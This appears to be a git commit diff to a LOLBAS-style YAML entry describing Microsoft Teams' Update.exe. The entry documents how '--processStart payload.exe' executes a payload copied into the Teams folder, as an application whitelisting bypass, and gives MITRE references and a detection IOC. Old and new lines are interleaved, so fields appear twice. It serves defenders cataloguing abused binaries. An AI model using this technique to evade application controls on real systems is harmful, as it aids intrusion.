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Oddvar Moe
2019-06-27 13:40:03 +02:00
parent 95e37b7cbf
commit 285e4d78d8
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yml/OtherMSBinaries/Teams-update.yml
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---
Name: Update.exe
Description: Update is the squirrel update utility used by Microsoft Electron app (Teams in this case)
Author: Mr.Un1k0d3r
Created: 2019-06-26
Author: 'Mr.Un1k0d3r'
Created: '2019-06-26'
Commands:
- Command: Copy your payload into `%userprofile%\AppData\Local\Microsoft\Teams\current\`. Then run the following command `%userprofile%\AppData\Local\Microsoft\Teams\Update.exe --processStart payload.exe --process-start-args "whatever args"`
Description: The Update.exe will execute the file you copied into the current folder.
- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Application Whitelisting Bypass
Category: AWL Bypass
Privileges: user privs
MitreID: T1033
MitreLink: https://attack.mitre.org/wiki/Technique/T1033
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
Full_Path:
- Path: %userprofile%\AppData\Local\Microsoft\Teams\Update.exe
- Path: '%userprofile%\AppData\Local\Microsoft\Teams\Update.exe'
Detection:
- IOC: Update.exe spawned an unknown process
- IOC: Update.exe spawned an unknown process
Resources:
- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
Acknowledgement:
- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
Acknowledgement:
- Person: Mr.Un1k0d3r
Handle: @MrUn1k0d3r
Handle: '@MrUn1k0d3r'
---